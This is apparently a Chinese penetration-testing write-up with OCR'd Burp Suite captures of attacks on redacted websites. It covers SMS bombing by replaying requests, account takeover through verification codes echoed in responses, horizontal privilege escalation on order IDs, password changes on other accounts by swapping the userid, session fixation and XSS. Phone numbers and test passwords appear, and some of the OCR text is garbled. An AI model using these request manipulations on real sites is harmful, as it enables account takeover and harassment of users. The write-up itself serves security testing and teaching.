短信轰炸(两处，注册、重置密码)
①漏洞url:http://www.example.com/FrontUser/UserRegister.aspx   注册账号处
输入手机号码，不断重放数据包，经测试无次数限制
[image: 1648877077(1)]

②漏洞url:http://www.example.com/FrontUser/UserReset.aspx   密码重置处
输入手机号码，然后进行抓包，然后进行重放数据包

[image: 1648877003(1)]

[image: ]
输入手机号码，不断重放数据包，经测试无次数限制

任意用户注册
原因：因为验证码直接回显到数据包中
请求包：
[image: 1648877231(1)]
响应包：
[image: ]
知道该值为验证码是因为用自己的手机号收取的验证码即为响应的value值,该账号为任意输入的账号
[image: ]
注册成功
[image: ]
区别于验证码回显的任意用户注册
原因：只验证下发的验证码是否正确，而没有将手机号与验证码做临时绑定关系，导致在提交的刹那，注册别的账号

大多数注册不会在响应包中显示验证码，那么就没有了嘛，当然不是，还是得测试
这是另外一个网站
[image: 1648877373(1)]
发送验证码
[image: ]
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任意用户密码重置
[bookmark: _GoBack]回到上一个网站的密码重置功能
原因：和上面一样，验证码回显
使用号码18888888888
[image: ]
然后重定向到登录，答案是登录不了，因为虽然可能有这个漏洞，但是原本这个手机号本来就没注册过，因此尝试重置上面的账号13060640152
[image: ]
原来为Wasd6050  现在修改为wasdwasd6050
再次登陆
[image: ]


越权查看订单信息
观察a标签的url地址，点击抓包
[image: ]
通过修改id值，可以水平越权查看他人的订单详细信息
[image: ]
[image: ]
后台任意密码修改
原因：修改密码的包分两次发的，第一步是确定原密码是否正确，第二个包是真正修改的包，那么存在逻辑漏洞，第一步输入当前账号的旧密码，通过后第二个包对其他账号进行密码修改
[image: ]
第一个包，直接发出去
[image: ]
[image: ]
第二个包的userid参数需要进行修改，知道了另一个账号的userid为45964（不知道情况下遍历）

修改成功后重新登陆  13060640108的userid为45964，而该账号成功使用被越权修改的密码hahaha成功登录系统
[image: 1648876300(1)]

会话固定
该系统还存在一个问题，修改密码后不会自动跳转到登陆，需要手动退出....

其他漏洞：
Xss(基本资料两处xss)
由于会话固定的原因，重新登陆
[image: ]

[image: ]
后台功能比较少，功能多的情况下，更多测试的点
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Request

RaW Params Headers Hex

9sec ch ua-mobile: ?0

|0 User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/98.0.4758. 102 Safari/537. 36

|1 sec—ch-ua—platform: “Windows”

12 Origin: https:/,

|3 Sec-Fetch-Site: same—origin

|4 Sec-Fetch-Mode: cors
|5 Sec-Fetch-Dest: empty
|6 Referer:
https:// /register. html
|7 Accept-Encoding: gzip, deflate
|8 Accept-Language: zh—CN, zh;q=0.9
19 Cookie:
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)1 type=2&mobile=130606 &validate=1234

v

Response

Raw Headers Hex

1

~N O Ul W N

10
11

HTTP/1.1 200 0K

Server: nginx

Date: Sat, 02 Apr 2022 05:36:14 GMT

Content-Type: application/json;charset=utf8
Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache—Control: no—store, no—cache, must-revalidate

post—check=0, pre—check=0
Pragma: no—cache
Content-Length: 72
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POST /home/register. html HTTP/1. 1

Host:

Connection: close

Content-Length: 102

sec—ch—ua: ” Not A;Brand”;v="99”, ”“Chromium”;v="98", ”“Google Chrome”;v="98"
Accept: application/json, text/javascript, */*; ¢=0.01

Content-Type: application/x-www—form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

sec—ch-ua-mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHIML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
sec—ch-ua—platform: “Windows”

Origin: https:/

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec—Fetch-Dest: emntv

Referer: https:/, me/register. html

Accept-Encoding: gzip, deflate

Accept-Language: zh—CN, zh;q=0.9

Cookie

_— EMAEMEENS

username=13060 &verification=936031&email= &password=test123&password_confirm=test123&parent_uid=0
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username=13060640777&verification=936031&email=&password=test123&password_confirm=test123&parent_uid=0
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Request

Raw Params Headers Hex

6 Content-Type: text/plain; charset=UTF-8
7 Accept: */*

8 Origin: http://www

-

9 Referer:
http://www /FrontUser/UserReset.
aspx
10 Accept-Encoding: gzip, deflate
|1 Accept—Language: zh—CN, zh;q=0.9
|2 Cookie: *
u
u =) . u e l
]
|
u | [ | ImE
13 Connection: close
14

15 {"userCode”:”13060640152"} "

Response

Rav Headers Hex Render
1 HTTP/1.1 200 OK

2 Cache—Control: no-cache

3 Pragma: no—cache

4 Content-Type: text/plain; charset=utf-8
5 Expires: -1

6 Vary: Accept—-Encoding

7 Server: Microsoft-11S/7.5

8 X-AspNet-Version: 2.0.50727

9 X-Powered-By: ASP.NET

"0 Date: Sat, 02 Apr 2022 02:58:14 GMT

~1 Connection: close

12 Content-Length: 18

14 {"value”:"139494"}
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Request
Raw Params Headers Hex

1 GET /ProductPeopleOrder/MemberOrderDetail. aspx?1d=16418 *
&0OrderState=1 HITP/1. 1

2 Host: +

3 Upgrade—1nsecure—Kequests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537. 36 (KHTML, like Gecko)
Chrome/98. 0. 4758. 102 Safari/537. 36

5Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, i
mage/avif, image/webp, image/apng, */*:q=0. 8, application/s
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6 Referer:
http:/
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@ [K]|F][>]|7vve a search tern « uatches

Done

Response
Raw Headers Hex Render ViewState
height:25px;” colspan="2">&nbsp;&nbsp;<img src=" ~

.. /Image/Public/ImgePoint. gif” alt="" visible="false”/>&nbsp;<b>
JEE(FR: </b>&nbsp;<img src="../Image/Public/up. gif” alt="" border=
”0” style="cursor:hand;display:none;” id="imageAccept” onclick="
setVisible_clickEvent (" Accept’);”/></td>

153 </tr>

154 </table>
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1568 <{tr>

157 <td align="right” bgColor:"keeeeee” style="
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width:120px:height :25px; S RHE: </td> m/
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&nbsp;</td>
161 </tr>
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POST /aiaxpro/CrownCenterClass. Member. MemberUtilityClass, CrownHomeServiceWebClass. ashx HITP/1. 1
Host :

Content-Length: 5HY

X-AjaxPro-Method: ValidateUserPassword

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/98. 0. 4758. 102 Safari/537. 36

Content-Type: text/plain; charset=UTF-8

Accept: */%*

Origin: http:/

Referer: http:/ rontUser/UserModi fyPassword. aspx

Accept—Encoding: gzip, deflate

Accept—Language: zh—CN, zh:q=0.9

Cookie: s=

Connection: close

{"userCode” : "13060640152", "user0ldPassword” : “wasdwasd6050” }
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Intercept HTTP history WebSockets history Options
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POST /aiaxnro/CrownCenterClass. Member. MemberUtilityClass, CrownHomeServiceWebClass. ashx HTTP/1. 1
Host: +

Content-Length: 42

X-AjaxPro-Method: UpdateUserPasswordDetail

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHIML, like Gecko)
Chrome/98. 0. 4758. 102 Safari/537. 36

Content-Type: text/plain; charset=UTF-8

Accept: #/*

Origin: http:/,

Referer: http:/ ‘FrontUser/UserModi fyPassword. aspx

Accept—Encoding: gzip, deflate

Accept-Language: zh—CN, zh;q=0.9

Cookie: / ~ U TR1045i0te " i B % 3
i =

M

v

Connection: close

{"userId”:”45965", “userPassword”: "hahaha”}
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POST /ajaxpro/CrownCenterClass. Member. MemberUtilityClass, CrownHomeServiceWebClass. ashx HTTP/1. 1
Host: www.

Content-Length: 26

X-AjaxPro—Method: CheckMobileYzm

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/98. 0. 4758. 102 Safari/537. 36

Content-Type: text/plain; charset:UTF*ﬂ

Accept: */*

Origin: http://www

Referer: http://www ‘FrontUser/UserReset. aspx

Accept—Encoding: gzip, deflate

Accept—Language: zh—CN, zh;q=0.9

Cookie: ASP.NET SessionlId=55woqi55culmumb50lamgjiq

Connection: close

{"userCode”:”13060640109"}
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POST /aiaxpro/CrownCenterClass. Member. MemberUtilityClass, CrownHomeServiceWebClass. ashx HTTP/1. 1
Host:

Content-Length: 26

X-AjaxPro-Method: CheckMobileYzm
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Chrome/98. 0. 4758. 102 Safari/537. 36

Content-Type: text/plain; charset=UTF-8

Accept: */*
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Referer: http:/, FrontUser/UserRegister. aspx
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Connection: close

{"userCode”: “13060640152" }
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X-Powered-By: ASP.NET
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